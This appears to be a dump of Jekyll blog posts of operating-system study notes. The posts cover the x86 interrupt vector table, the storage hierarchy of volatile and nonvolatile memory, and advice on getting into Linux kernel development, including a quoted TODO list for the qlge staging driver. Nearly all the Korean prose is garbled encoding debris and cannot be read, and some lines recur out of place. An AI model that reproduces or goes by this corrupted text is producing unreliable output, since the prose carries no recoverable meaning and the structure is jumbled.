| 12 | stack fault |
| 13 | general protection |
| 14 | page fault |
| 15 | (Intel reserved, do not use) |
| 16 | floating-point error |
| 17 | alignment check |
| 18 | machine check |
| 19-31 | (Intel reserved, do not use) |
| 32-255 | maskable interrupts |
์ธํฐ๋ฝํธ์ ์ข ๋ฅ๋ฅผ ๋๋๊ณผ ๋์์ ์ค์๋๋ฅผ ๋ค๋ฃจ๊ธฐ ์ํด ์ด๋ฌํ ๋ฒกํฐ ์ซ์๋ฅผ ์ฌ์ฉํ๋ค.
- ๊ทธ๋์ CPU๋ ๋ชจ๋ ์ข
๋ฅ์ ์ธํฐ๋ฝํธ๋ฅผ ๊ฐ์ถ๋๊ฒ(masking) ์์ด ๋์ ์ค์๋์ ์ธํฐ๋ฝํธ๊ฐ ๋ฎ์ ์ค์๋์ ์ธํฐ๋ฝํธ๋ฅผ ์ ์ ํ ์ ์๋๋ก ํด์ค๋ค.
์ ๋ฒ์๊ฐ์ nonmaskable interrupt์ maskable interrupt์ ๋ํด ๋ค๋ค๋๋ฐ,
0๋ถํฐ 31๊น์ง์ ๋ฒกํฐ์ซ์๋ฅผ ๊ฐ์ง ์ธํฐ๋ฝํธ๋ค์ ์ฌ๋ฌ ์ค๋ฅ์ํฉ์ ์๋ฏธํ๋๋ฐ ์ฌ์ฉ๋๋ nonmaskable interrupts ์ด๋ฉฐ, 32๋ถํฐ 255๊น์ง๋ ๊ธฐ๊ธฐ์์ ๋ง๋ค์ด์ง ์ธํฐ๋ฝํธ๋ค์ ์ํด ์ฌ์ฉ๋๋ค.
๊ทธ๋์ ์ฌํ๊น์ง ์ธํฐ๋ฝํธ์ ๋ํด ๋ค๋ฃฌ ๋ด์ฉ์ ์์ฝํ์๋ฉด, ์ธํฐ๋ฝํธ๋ ํ๋์ ์ด์์ฒด์ ์์คํ
์์ ๋น๋๊ธฐ์ ์ธ ์ด๋ฒคํธ๋ฅผ ์ฒ๋ฆฌํ๋๋ฐ ์ฌ์ฉ๋๊ณ , ๋๋ฐ์ด์ค ์ปจํธ๋กค๋ฌ์ ํ๋์จ์ด๋ค์ ์ด๋ฌํ ์ธํฐ๋ฝํธ๋ฅผ ๋ฐ์์ํจ๋ค.
๊ฐ์ฅ ์ค์ํ ์ผ์ ๊ฐ์ฅ ๋จผ์ ์ฒ๋ฆฌํด์ผํ๊ธฐ๋๋ฌธ์, ํ๋์ ์ปดํจํ
์์คํ
์์๋ ์ธํฐ๋ฝํธ ์ค์๋ ์์คํ
์ ์ฌ์ฉํ๋ค.
์ธํฐ๋ฝํธ๋ค์ ์์ฃผ ์๊ฐ์ ๋ฏผ๊ฐํ ๊ณผ์ ์ด๊ธฐ๋๋ฌธ์ ํจ์จ์ ์ธ ์ธํฐ๋ฝํธ ์ฒ๋ฆฌ๋ ์์คํ
์ ์ฑ๋ฅ์ ์ํด์ ์๊ตฌ๋๋ค.
File: _posts/2019-10-1-operating66.md
layout: post title: operating system concepts - storage structure date: 2019-10-1 11:44:17 +0900 categories: [operating_system]
์ ์ฅ์ฅ์น ๊ตฌ์กฐ
ํ๋กค๋ก๊ทธ
ํ๋์ ์ปดํจํฐ๋ ํฐ๋
ธ์ด๋ง์ ๊ตฌ์กฐ๋ฅผ ์ฌ์ฉํ๋ค. ์ด ๊ตฌ์กฐ์์ ์คํ๋๋ ๋ชจ๋ ํ๋ก๊ทธ๋จ์ ๋ฉ๋ชจ๋ฆฌ์์ ์์ด์ผํ๋ค.
ํ๋ก๊ทธ๋จ์ ๋ช
๋ น์ด๋ค์ ์งํฉ์ด๋ค. ํ๋ก๊ทธ๋จ์ ์คํํ ๋ CPU๋ ๋ช
๋ น์ด ํ๋ํ๋๋ฅผ ๋ฉ๋ชจ๋ฆฌ์์๋ถํฐ ์ฝ์ด์ ๋ช
๋ น์ด ๋ ์ง์คํฐ์ ์ ์ฅํ๊ณ , ๊ฒฐ๊ณผ๊ฐ๋ ๋ฉ๋ชจ๋ฆฌ์ ์ ์ฅํ๋ค.
์ด๋ฌํ ๋ฐฉ์๋ค์ ๊ตฌํํ๊ธฐ ์ํด ๋ชจ๋ ๋ฉ๋ชจ๋ฆฌ์ byte๋ค์ ๊ฐ์์ ์ฃผ์๊ฐ์ ๊ฐ๊ณ ์๋ค.
์ฌ๋ด์ผ๋ก, ๋ฉ๋ชจ๋ฆฌ ์ ๋์ ๋ฉ๋ชจ๋ฆฌ์ฃผ์์ ํ๋ฆ๋ง์ ๋ณผ ๋ฟ์ด๋ผ๋์ ์ ์์ ๋ ํ์๊ฐ ์๋๋ฐ, ์๋ํ๋ฉด ๋ฉ๋ชจ๋ฆฌ์ ๋์ ๊ทธ ํ๋ฆ๋ค์ด ๋ช
๋ น์ด ์นด์ดํฐ์ ์ํด์ ์๊ฒผ๋์ง, ์ธ๋ฑ์ฑ์ ์ํด์ ์๊ฒผ๋์ง ์ ํ ๋ชจ๋ฅด๊ธฐ ๋๋ฌธ์ด๋ค.
๋ฐ๋ผ์ ๋ฉ๋ชจ๋ฆฌ์ฃผ์๊ฐ ์ด๋ป๊ฒ ํ๋ก๊ทธ๋จ์ ์ํด ๋ง๋ค์ด์ก๋์ง๋ ๋ฌด์ ํ ์ ์๋ค. ์ ์ผํ ๊ด์ฌ์ฌ๋ ์คํ์ค์ธ ํ๋ก๊ทธ๋จ์ ์ํด ๋ง๋ค์ด์ง ๋ฉ๋ชจ๋ฆฌ์ ์์ด๋ฟ์ด๋ค.
์ด์ฐ๋์๋, ์ด๋ฌํ ๋ด์ฉ์ ๊ตฌํํ๊ธฐ ์ํด ์ด๋ค ์ข ๋ฅ์ ๋ฉ๋ชจ๋ฆฌ๋ค์ด ์ฌ์ฉ๋๋ฉฐ, ๊ทธ๋ค์ ์ด๋ค ์ด์ ๋ก ํด๋น ์ฉ๋์ ์ฌ์ฉ๋ ๊น?
๋ฉ๋ชจ๋ฆฌ ์ข ๋ฅ
์ผ๋จ ๋ฉ๋ชจ๋ฆฌ๋ ๋ค์๊ณผ ๊ฐ์ด ๋๊ฐ์ง๋ก ๊ตฌ๋ถ ํ ์ ์๋ค.
- ํ๋ฐ์ฑ ๋ฉ๋ชจ๋ฆฌ(Volatile Memory)
- ๋น ํ๋ฐ์ฑ ๋ฉ๋ชจ๋ฆฌ(Nonvolatile Memory)
- ๊ธฐ๊ณ์ ๋ฐฉ์: Hard-Drive Disk(HDD)
- ์ ์๊ธฐ์ ๋ฐฉ์: NonVolatile Disk(NVM)
์ฃผ๊ธฐ์ต ์ฅ์น
๋ณดํต RAM(Random Access Memory)์ด๋ผ๊ณ ๋ ๋ถ๋ฆฌ๋ ์ฃผ๊ธฐ์ต์ฅ์น์์ ํ๋ก๊ทธ๋จ์ ๋๋ฆฐ๋ค.
- ๋ณดํต DRAM(Dynamic Random Access Memory) ์ด๋ผ๋ ๊ธฐ์ ๋ก ์ด๋ค์ง ๋ฐ๋์ฒด์ด๋ค.
- ํ๋ฐ์ฑ์ด ์์ด, ๊ป๋ค ํค๋ฉด ์ฌ๋ผ์ง๋ค.
๊ป๋ค ์ผฐ์๋ ์ฌ๋ผ์ง๋ฉด, ์ด์์ฒด์ ๋ฅผ ๋ถํ ์ํค๊ธฐ ์ํ ํ์์์ ๊ฐ์ ๋ด์ฉ๋ค์ ์ด๋ป๊ฒํ ๊น? ๋น ํ๋ฐ์ฑ ๋ฉ๋ชจ๋ฆฌ๋ ํ์ํ์ง ์๊ฒ ๋๊ฐ?
์ด๋ค์ ROM(Read Only Memory)์ด๋ผ๊ณ ๋ถ๋ฆฐ๋ค.
- ๋นํ๋ฐ์ฑ์ด๋ค.
- ์ด๋ฆ์ฒ๋ผ READ ONLY๋ผ๊ณ ํด์ ๋ฐ์ดํฐ๋ฅผ ์ง์ฐ๊ฑฐ๋ ๋ค์ ์ฐ๋๊ฒ์ด ๋ถ๊ฐ๋ฅํ๊ฒ์ ์๋๊ณ , ์๋๊ฐ ๋๋ฆฌ๋ค.
- ์์ฃผ ์์ ๋์ง ์๋ ์ ์ ์ธ๋ฐ์ดํฐ๊ฐ ์์ฃผ ๋ค์ด๊ฐ๋ค.
- ์๋ฅผ๋ค์ด, ์์ดํฐ์ ROM์ ์๋ฆฌ์ผ๋๋ฒ, ํ๋์จ์ด ์ ๋ณด๋ฅผ ๋ด๋๋ฐ ์ฌ์ฉํ๋ค.โจโจ### ๋ณด์กฐ๊ธฐ์ต ์ฅ์น
๋ชจ๋ ๋ฐ์ดํฐ์ ํ๋ก๊ทธ๋จ์ ์ฃผ๊ธฐ์ต ์ฅ์น์ ์์ํ ๋ฃ๊ณ ์ถ์ด๋, ํ๋ฐ์ฑ ๋ฌธ์ , ๋ฉ๋ชจ๋ฆฌ ํฌ๊ธฐ์ ๋ฌธ์ ๋ก ๋ถ๊ฐ๋ฅํ๋ค. ๊ทธ๋์ ๊ทธ๋ฌํ ์ฉ๋๋ฅผ ์ํด ๋ณด์กฐ๊ธฐ์ต์ฅ์น๊ฐ ํ์ํ๋ค.
๊ทธ๋์ ๋๋ถ๋ถ์ ์ปดํจํฐ๋ ๋ณด์กฐ๊ธฐ์ต์ฅ์น๋ฅผ ์ฌ์ฉํ๋ค.
ํ๋ก๊ทธ๋จ๋ค์ ๋ฉ๋ชจ๋ฆฌ์ ๋ก๋๋๊ธฐ ์ ๊น์ง ๋ณด์กฐ๊ธฐ์ต์ฅ์น์ ์ ์ฅ๋๋ค.
๋ณด์กฐ๊ธฐ์ต์ฅ์น๋ ์ฃผ๊ธฐ์ต์ฅ์น๋ณด๋ค ๋๋ฆฌ์ง๋ง ํฌ๊ธฐ๊ฐ ํฌ๊ณ , ๋นํ๋ฐ์ฑ์ด๋ค.
- ์๋ฅผ๋ค์ด, ์์ดํฐ์ ROM์ ์๋ฆฌ์ผ๋๋ฒ, ํ๋์จ์ด ์ ๋ณด๋ฅผ ๋ด๋๋ฐ ์ฌ์ฉํ๋ค.โจโจ### ๋ณด์กฐ๊ธฐ์ต ์ฅ์น
๊ณ์ ์ธ๊ธ๋๋ ๋นํ๋ฐ์ฑ ๋ฉ๋ชจ๋ฆฌ์๋ ๋๊ฐ์ง ์ข ๋ฅ๊ฐ ์๋ค.
- ๊ธฐ๊ณ์
- Hard Disk Drive(HDD)
- ์ ์๊ธฐ์ ๋ฐฉ์
- Nonvolatile memory(NVM)
- FRAM, NRAM, SSD
- Nonvolatile memory(NVM)
์๊น ์์์ ๋ณด์กฐ๊ธฐ์ต์ฅ์น๊ฐ ์ฃผ๊ธฐ์ต์ฅ์น๋ณด๋ค ๋๋ฆฌ๋ค๊ณ ์ธ๊ธํ๋๋ฐ, ๊ทธ๋์ ๋ณด์กฐ๊ธฐ์ต์ฅ์น๋ฅผ ์ ์ ํ ๊ด๋ฆฌํ๋๊ฒ์ ์ปดํจํฐ ์์คํ ์ ์์ด ์ค์ํ๋ค.
๋ฉ๋ชจ๋ฆฌ๋ค์ ๋ค์๊ณผ ๊ฐ์ ์ข ๋ฅ๋ค์ด ์๋ค.
๋ฐ์ผ๋ก ๊ฐ์๋ก ์๋๋ ๋๋ ค์ง์ง๋ง, ์ฉ๋์ ์ปค์ง๋ค.
registers
cache
main memory
[์์๋ ํ๋ฐ์ฑ]
nonvolatile memory
hard disk drives
optical disk
magnetic tapes
registers๋ถํฐ nonvolatile memory๊น์ง๋ ๋ฐ๋์ฒด๊ธฐ๋ฐ์ ์ ์๊ธฐ์ ์ฅ์น๋ก์ ๊ตฌ์ฑ๋ ๋ฉ๋ชจ๋ฆฌ์ด๋ค.
File: _posts/2019-10-1-operating67.md
[Binary file]
File: _posts/2019-10-10-linux71.md
[Binary file]
File: _posts/2019-10-12-linux72.md
layout: post title: How to deep into Linux Development date: 2019-10-12 12:40:9 +0900 categories: [unix, linux, programming]
Why you wrote this?
๋ด๊ฐ ๊ตฌ๊ธ๋ง ์ค๋ ฅ์ด ๋ถ์กฑํ ํ์ผ๊น, ํ๊ตญ์ด๋ก๋ ๊ธฐ๋๋ ํ์ง์๊ณ , ์์ด๋ก Linux Kernel Development ๋ฅผ ์๋ฌด๋ฆฌ ์ณ๋ณด์๋, ์ป์์์๋ ์ ๋ณด์ค์์ ๊ฐ์ฅ ๋์์ด ๋ ๋งํ ๋ด์ฉ์ https://kernelnewbies.org ์ ๋ ๋ฟ์ด๋ค. ๊ทธ ์ธ์๋ Operating System Concepts, Linux Kernel Development์ ๊ฐ์ ์ฑ
์ถ์ฒ์ ๋? ๊ทธ๋ฆฌ๊ณ ์ด๋ฐ ์ฌ๋์ด ํ๊ตญ์๋ง ์๋๊ฑด ์๋๊ฑฐ๊ฐ๋ค.
๋ฌผ๋ก kernelnewbies๋ ํ๋ฅญํ ์ฌ์ดํธ์ด๋ค. ๋
์์ ์์ค์ C์ ๋๋ฐ์ ๋ชจ๋ฅด๋ ์ด์ฌ์๋ผ๊ณ ๊ฐ์ ํ๊ธฐ์, ํํ ๋ฆฌ์ผ ํ์ด์ง์์๋ ๋ฆฌ๋
์ค ๋ฐฐํฌํ ์ค์น๋ถํฐ git, ์ปค๋ ๋น๋, ๊ทธ๋ฆฌ๊ณ ํ๋ฅญํ ํจ์น(์ปค๋ฐ)๋ฅผ ์์ฑํ๋ ๋ฐฉ๋ฒ์ ๋ํด์๋ ์๋ ค์ค๋ค. ๋, ์ด๋ ๊ฒ ์ปค๋ ๊ฐ๋ฐ์ ํฅ๋ฏธ๊ฐ ์๋ ๋
์๋ค์ ์ํด ์ปค๋ ๊ฐ๋ฐ์ด ์ด๋ค๊ฒ์ธ์ง, ์๋ธ ์์คํ
๋ค์ ๋ญ๊ฐ ์๋์ง ๋ฑ, ์ง์ง ์ด๋งํ ์ฌ์ดํธ๋ ๋ ์๋ค๊ณ ์๊ฐํ๋ค.
์์์ ์ธ๊ธ๋ '๊ณต๋ฃก์ฑ ' ์ด๋ผ ๋ถ๋ฆฌ๋ Operating System Concepts ๋ผ๋๊ฐ, Advanced Programming in the UNIX Environment, CSAPP ๊ณผ ๊ฐ์ ์ฑ ๋ค์ ์ฝ์ด๋ณด๊ณ ์์์๋ ์์ง ๋ญ ์ด๋ป๊ฒ ํด์ผ ํ ์ง ์ ํ ๊ฐ์ด ์ค์ง ์๋๋ค. ์ด ์ฑ ๋ค์ ์ง๊ธ ์ด๋ฏธ ๊ตฌํ๋์ด์๋ ๋ฆฌ๋ ์ค ์์คํ (๊ทธ์ธ์ ๋ค๋ฅธ ์ด์์ฒด์ )์ด ์ด๋ป๊ฒ ๋์๊ฐ๋์ง์ ๋ํด ๋ค๋ฃจ๋๊ฒ์ด๋ผ ์ข ์ถ์์ ์ด๋ค.
์ฆ, ์ ๋ฆฌํ์๋ฉด ๊ฒ์์ ํตํด ์ป์ ์ ์๋ ์ ๋ณด๋ค์ ๊ธฐ๋ฐ์ด ๋๋ ์ง์์ ์ป๋ ๋ฐฉ๋ฒ, ํน์ ์ปค๋์ ๊ธฐ์ฌํ๊ธฐ ์ํด ์์์ผํ ๊ฒ๋ค(git๊ณผ ๊ฐ์ ๋๊ตฌ์ ์ฌ์ฉ๋ฒ) ์ ๋ ๋ฟ์ด๋ค.
๊ทธ๋ฐ๋ฐ ๊ทธ '์์ค๋ค์ ์ดํดํ๊ธฐ ์ํด์๋ ์ด๋ค๊ฒ๋ถํฐ ์ฝ๊ธฐ๋ฅผ ์์ํด์ผ ํ๋๊ฐ'์ ๋ํ ๋ด์ฉ์ด ์๋ค. ์ข ๋ ๋ช ํํ ๋งํ์๋ฉด, ๋ฆฌ๋ ์ค ์ปค๋ ๊ฐ๋ฐ์ ์ํ ์ง์๋ค์ ์ด๋์ ์์์ผ ํ ์ง๋ฅผ ๋ชจ๋ฅธ๋ค๋๊ฑฐ๋ค. '๋๋ผ์ด๋ฒ๋ฅผ ๊ณต๋ถํ๊ณ ์ถ์๋ฐ ์ด๋ป๊ฒ ๊ณต๋ถํด์ผํ์ง?' 'ํ์ผ ์์คํ ๋ถ๋ถ์ ๊ณต๋ถํ๊ณ ์ถ์๋ฐ ์ด๋ป๊ฒ ๊ณต๋ถํด์ผํ์ง?' ์ด๋ฐ ์ง๋ฌธ๋ค ๋ง์ด๋ค. ๋ฌด์์ ์์ค์ฝ๋๋ฅผ ์ฝ๊ธฐ์๋ ์ด๋๋ฅผ ์ฝ์ด์ผ ํ ์ง๋ ๋ชจ๋ฅด๊ฒ ๊ณ , ์ค๋ น ์ฝ๋๋ค๊ณ ํ๋๋ผ๋ ๋์ ๊ฒฝ์ฐ๋ ๊ทธ ๊ธฐ๋ฐ ์ง์์ด ์๋๊ฑฐ๊ฐ๋๋ผ.
์๊ฐ ํด ๋ด๋ผ. ์ด๋ค ์ฌ๋์ด ์ค๋งํธํฐ ๊ฐ๋ฐ์ ํ๋๋ฐ ๋ฉ์ธ๋ณด๋์ ํ๋ก๋์ ๋ชจ๋ ๋ถํ๋ค์ ์คํ์์ค๋ฅผ ๊ณต๊ฐํ๋ค๊ณ ํด์ ์๋ฌด๋ฐ ๊ธฐ๋ฐ ์ง์์์ด ์ดํดํ๊ณ ์์ ํ๋๊ฒ ๊ฐ๋ฅํ๊ฒ ๋๊ฐ?
๊ทธ๋์, ์ด ๊ธ์์๋ ๋ฆฌ๋ ์ค ์ปค๋ ๊ฐ๋ฐ์ ์ ๋ฌธ ํ ์ ์์๋งํผ์ ๊ธฐ๋ฐ์ง์์ ์๋ ๋ฐฉ๋ฒ์ ๋ํด ์ธํฐ๋ท์์ ์ฐพ์ ๋ด์ฉ๋ค์ ์ ๋ฆฌํด๋ณด์๋ค.
์ถ๊ฐ์ ์ผ๋ก ๊ณต๋ถํ๋ฉด์ ํน์ ์๋ธ์์คํ ์ ๊ณต๋ถํ๊ฒ ๋๋ค๋ฉด ์ด๋์๋ถํฐ ์ ๊ทผํด์ผํ๋์ง์ ๋ํ ๊ธ๋ค๋ ์ ๋ก๋ ํ๋๋ก ํ๊ฒ ๋ค.
์ฑ ?
์์ฑ์์ธ ๋๋ ์ด์ ์ผ ์ ๋ฌธํ๋ฉฐ ์ ๋ฆฌํ๋ ๋จ๊ณ์ด๋ฏ๋ก, ํ๋ฆฐ ๋ด์ฉ๋ค์ด ์์ ์ ์๋ค!
์ผ๋จ KernelNewbies์ ์ฒซ ์ปค๋ ํจ์น๋ ๊ผญ ์ฝ์ด๋ณด๋๋ก ํ์. ๋ฉ์ผ ํด๋ผ์ด์ธํธ ์ ์ ๊ณผ ๊ฐ์ ํ๊ฒฝ ์ค์ ๋ค์ ํ๋ ๋ฒ์ ์๋ ค์ค๋ค.
์ด์์ฒด์ ๋ก +
์์ง ๋๋ ์ฝ์ด๋ณด๋ ์ค์ด์ง๋ง, ์ฃผ๋ก ์ธํฐ๋ท ์์์ ์ถ์ฒ๋ฐ๋ ์ฑ ๋ค์ ๋ค์๊ณผ ๊ฐ๋ค.
์ด์์ฒด์ ๋ก ๊ณ์ ๋ฐ์ด๋ธ: Operating System Concepts
์ด์์ฒด์ ๋ก ์ ์กฐ๊ธ ์ฝ๊ฒ ์ฝ๊ณ ์ถ๋ค: Operating System Three Easy Pieces
๋ฆฌ๋
์ค ๊ณต๋ถ๋ฅผ ํด๋ณด์: Understanding Linux Kernel
์ ๋์ค ์์คํ
์ ๋ํ ์ดํด๋๋ฅผ ๋์ด๊ณ ์ถ๋ค: Advanced Programming in the UNIX Environment
์ปค๋์ด ์ด์์ฒด์ ๋ก ์์ ํต์ฌ์ผ๋ก ๋ค๋ฃจ๊ธฐ ๋๋ฌธ์ ์ด์์ฒด์ ๋ก ์ ๊ณต๋ถํ๋๊ฒ์ด๊ณ , ๋ฆฌ๋ ์ค์ ์์คํ ์ ๋ํด ์์ ์ ํ๋ ค๊ณ ํ๋ฉด ๊ทธ์ ๋ํ ์ดํด๋๊ฐ ํ์ํ๊ธฐ๋๋ฌธ์ ๋ฆฌ๋ ์ค๋ฅผ ๊ณต๋ถํ๋๊ฒ์ด๋ค.
์์ํ๊ธฐ์ , ์์์ผ ํ ๋ด์ฉ๋ค
๋ด๊ฐ ์ด๋ค ๋ถ๋ถ์ ๊ธฐ์ฌ๋ฅผ ํ๊ณ ์ถ์์ง์ ๋ํด ์์์ผ ํ๋ค. kernelnewbies์ ์ด ๊ธ์ ๋ด์ฉ์ ํ๋ฒ ์ฝ์ด๋ณด์. ๊ทธ๋ฐ๋ฐ ๋๋ ์ด๋ฐ ์๊ฐ์ด ๋ค๋๋ผ.
'์? ์ด๋ ์๋ธ์์คํ ์ ๊ณจ๋ผ์ผ ์ข์ง? ๋ญ ๊ณจ๋ผ์ผ ์ข์๊ฑฐ์ผ? ๊ณ ๋ฅด๋ฉด ์ด์ ๋ญ ํด์ผํ๋๋ฐ?'
๋น์ฐํ๋ค. ์๋ธ์์คํ ์ด๋๊ฒ ์๋์ง ๋ฐฉ๊ธ ๋ง ์์๋๋ฐ ๋ญ ํด์ผํ๋์ง ์ด๋ป๊ฒ ์๊ฒ ๋๊ฐ..? ๊ทธ๋ฐ๋ฐ ์์ ๊ธ์์๋ ์ด๋ฐ๊ฒฝ์ฐ driver๋ค์ TODO ํ์ผ์ ์ฝ์ด ์์ ํ ์ฌํญ์ด ์๋์ง ํ์ธํ๋ผ๋ ๋ง์ด ์๋ค. ๊ทธ๋ฌ๋๊น ์ผ๋จ ๋ชจ๋ฅด๊ฒ ์ผ๋ฉด, ๋๋ผ์ด๋ฒ๋ค์์ ํด๊ฒฐํ๊ธฐ๋ฅผ ์๊ตฌํ๋ ์์ ๋ค์ ํ๋ฒ ์ฐพ์๋ณด๋ผ๋๊ฒ์ด๋ค.
๊ทธ๋์ drivers/staging/qlge/ ํด๋์ ์๋ TODO ํ๋๋ฅผ ์ด์ด๋ดค๋๋ฐ ๊ทธ ์ค ํ๋๊ฐ ๋ค์๊ณผ ๊ฐ๋๋ผ.
* commit 7c734359d350 ("qlge: Size RX buffers based on MTU.", v2.6.33-rc1)
introduced dead code in the receive routines, which should be rewritten
anyways by the admission of the author himself, see the comment above
ql_build_rx_skb(). That function is now used exclusively to handle packets
that underwent header splitting but it still contains code to handle non
split cases.
* truesize accounting is incorrect (ex: a 9000B frame has skb->truesize 10280
while containing two frags of order-1 allocations, ie. >16K)
* while in that area, using two 8k buffers to store one 9k frame is a poor
choice of buffer size.
* in the "chain of large buffers" case, the driver uses an skb allocated with
head room but only puts data in the frags.
* rename "rx" queues to "completion" queues. Calling tx completion queues "rx
queues" is confusing.
* struct rx_ring is used for rx and tx completions, with some members relevant
to one case only
* there is an inordinate amount of disparate debugging code, most of which is
of questionable value. In particular, qlge_dbg.c has hundreds of lines of
code bitrotting away in ifdef land (doesn't compile since commit
18c49b91777c ("qlge: do vlan cleanup", v3.1-rc1), 8 years ago).
* triggering an ethtool regdump will hexdump a 176k struct to dmesg depending
on some module parameters.
* the flow control implementation in firmware is buggy (sends a flood of pause
frames, resets the link, device and driver buffer queues become
desynchronized), disable it by default
* some structures are initialized redundantly (ex. memset 0 after
alloc_etherdev())
* the driver has a habit of using runtime checks where compile time checks are
possible (ex. ql_free_rx_buffers(), ql_alloc_rx_buffers())
* reorder struct members to avoid holes if it doesn't impact performance
* in terms of namespace, the driver uses either qlge_, ql_ (used by
other qlogic drivers, with clashes, ex: ql_sem_spinlock) or nothing (with
clashes, ex: struct ob_mac_iocb_req). Rename everything to use the "qlge_"
prefix.
* avoid legacy/deprecated apis (ex. replace pci_dma_*, replace pci_enable_msi,
use pci_iomap)
* some "while" loops could be rewritten with simple "for", ex.
ql_wait_reg_rdy(), ql_start_rx_ring())
* remove duplicate and useless comments
* fix weird line wrapping (all over, ex. the ql_set_routing_reg() calls in
qlge_set_multicast_list()).
* fix weird indentation (all over, ex. the for loops in qlge_get_stats())
* fix checkpatch issues์ด์ ๊ณต๋ถ๋ฅผ ํ๋ ๋ฐฉ๋ฒ์ ํฌ๊ฒ ๋๊ฐ์ง๋ก ์ ๋ฆฌ ๋๋๊ฑฐ๊ฐ๋ค.
- TODO์ ๋ด์ฉ์ ์ดํดํ๊ณ ์์ ํ ์ ์์ผ๋ฉด, ๊ทธ๋ฅ ๊ทธ๋ ๊ฒ ์์ํ๋ฉด ๋๋ค.
- ๊ทธ๊ฒ ์๋๋ผ๋ฉด, ๋ฆฌ๋ ์ค์ ๋ํ ๊ณต๋ถ๊ฐ ๋ ํ์ํ๊ฒ์ด๋ค.
์๋ง ๋๋ถ๋ถ์ 2๋ฒ์ผ๊ฒ์ด๊ณ , ๊ทธ 2๋ฒ์ ๋ํด '์ด๋ป๊ฒ?' ๋ผ๋ ๋ฌผ์์ ๊ฐ๊ณ ์์ด์ ์จ ๊ฒ์ด๋ผ๊ณ ์๊ฐํ๋ค.
kldp์ ๋น์ทํ ๊ณ ๋ฏผ์ ๋ํ ํด๊ฒฐ์ฑ ์ด ์ฌ๋ผ์์๋ค. ์ด ๊ธ์์ ํนํ ๊ธฐ์ต์ ๋จ๋ ๋ด์ฉ๋ค์ ๋ค์๊ณผ ๊ฐ๋ค.
์ปค๋๊ณต๋ถ๋ ๋ถ๋์ด ์๋นํ ๋ง๊ณ ์๊ฐ์ด์ค๋๊ฑธ๋ฆฝ๋๋ค. ๊ทธ๋ฆฌ๊ณ ๊ทธ๋ฅํ์ ์๋ ์ ๋์๋๋ ๋ถ์ผ์ ๋๋ค. ๊ทธ์๊ฐ์ด ๋๋ฌด ์ค๋๊ฑธ๋ฆฌ๊ธฐ๋๋ฌธ์ ๊ณต๋ถ๊ณผ์ ์ค์ ๋ฐ๋์ ์ด๋ค ํ์๋ผ๋๊ฐ ํ์ฌ๊ฒฝ๋ ฅ๋ฑ์ด ์์ด์ผ์ง ํผ์ ์ง์์ ๊ณต๋ถํ๋ค๊ณ ํ๋ฉด ๊ทธ์๊ฐ์ด์ง๋์ ๊ณต๋ถ๋ฅผ ์ํ๋คํด๋ ์๊ฐ๋์ ์ฌํ์ ๊ฒฐ๊ณผ๋ฌผ์ด ์๋ ์ํ๊ฐ๋ฉ๋๋ค.
-jw8704๋
๋ฆฌ๋ ์ค ์ปค๋ ๊ทธ ์์ฒด๋ ๋งค์ฐ ์์ํ๊ณ ๋ํ ๋ฐ๋ค์ ๊ฐ์์ ์ด๋ ์ฝ๋๋ฅผ ๋จผ์ ๋ด์ผ ํ ์ง ๊ฐ์ ์ก๊ธฐ ์ด๋ ต์ต๋๋ค.
-AustinKim๋
์ปค๋ ๊ฐ๋ฐ์๋ค์ ์ ๋ง ๋๋จํ์ง๋ง ๊ทธ๋งํผ ๋๋จํ ๊ฐ๋ฐ์๋ค์ด ์ปค๋๊ฐ๋ฐ์ ํ๊ฒ๋๋๋ผ๊ตฌ์.
๊ทธ๋๋ ๊ณต๋ถํ ์ปค๋ฆฌํ๋ผ์ด ํ์ํ์๋ฉด ์ด๊ฑธ ์ฐธ๊ณ ํ์๋๊ฒ๋ ๋ฐฉ๋ฒ์ผ๊ฒ ๊ฐ์ต๋๋ค.
https://github.com/gurugio/lowlevelprogramming-university
-gurugio๋
jw8704๋ ๋ง์ ๋ฃ๊ณ ์ฌ๋ฌ ์๊ฐ์ ํ๊ฒ ๋์๋ค. ํ์คํ ๋ง๋ ๋ง์ด๊ธดํ๋ค. ์์ฉํ๋ก๊ทธ๋จ ๊ฐ๋ฐ์ ๋ํ ๊ณต๋ถ๋ ํํํ ํด ๋๊ฐ๋ฉด์ ๋ด ์ด๊ธธ์ ๋ง๋ค์ด ๋์ผ๊ฒ ๋ค๋ ์๊ฐ์ ํ๋ค.
AustinKim๋์ ์ถ๊ฐ์ ์ผ๋ก '๋ฆฌ๋ ์ค ์ปค๋์ด buildableํ ๋ณด๋๋ฅผ ์ฌ์ฉํด ๋น๋๋ถํฐ ์์ํ๊ณ , ๊ทธ ์ดํ์ ์บ๋ฆญํฐ ๋๋ฐ์ด์ค ์์ค์ ๋๋ผ์ด๋ฒ๋ค์ ์์ฑํ๊ธฐ ์์ํ ๋ค, ์ปค๋ ํจ์๋ฅผ ์ฌ์ฉํ ๋๋ง๋ค ๊ด๋ จ ์ปค๋ ํจ์๋ค์ ๊ณต๋ถํ๋๊ฒ์ ์ถ์ฒํ๋ค' ๊ณ ๋ง์ํ์๋๋ผ. ๊ทธ๋ฌ๋ค๋ณด๋ฉด ๊ด์ฌ์๋ ๋ถ์ผ๊ฐ ์๊ธฐ๊ธฐ ๋ง๋ จ์ด๊ณ , ์ด๋ ๋ฉ์ผ๋ง ๋ฆฌ์คํธ๋ฅผ ๊ตฌ๋ ํ๋๊ฒ์ด๋ผ๊ณ ํ์๋๋ผ.
gurugio๋์ด ์ถ์ฒํ ์ ๋งํฌ์ ์ปค๋ฆฌ์ปฌ๋ผ๋ ๊ฝค ๊ด์ฐฎ์๊ฑฐ๊ฐ๋ค. ๊ทธ๋์ ์์ผ๋ก๋ ์ ๊ฑธ ์ข ๋ง์ด ์ฐธ๊ณ ํ๋ฉด์ ๊ณต๋ถํด๋ณผ๊น ํ๋ค.
